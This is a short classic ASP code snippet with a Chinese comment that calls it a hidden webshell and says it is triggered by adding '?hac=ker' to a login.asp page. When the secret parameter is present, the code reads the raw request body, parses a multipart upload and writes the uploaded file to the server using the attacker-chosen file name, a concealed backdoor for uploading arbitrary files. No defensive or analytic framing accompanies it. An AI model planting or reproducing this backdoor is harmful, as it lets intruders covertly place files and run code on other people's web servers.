<%if request.QueryString("hac")="ker" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB
(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-
3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-
2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%>
type=submit>
<%end if%>
表面看是没什么区别的 这就是隐藏的WEBSHELL
只要这样:login.asp?hac=ker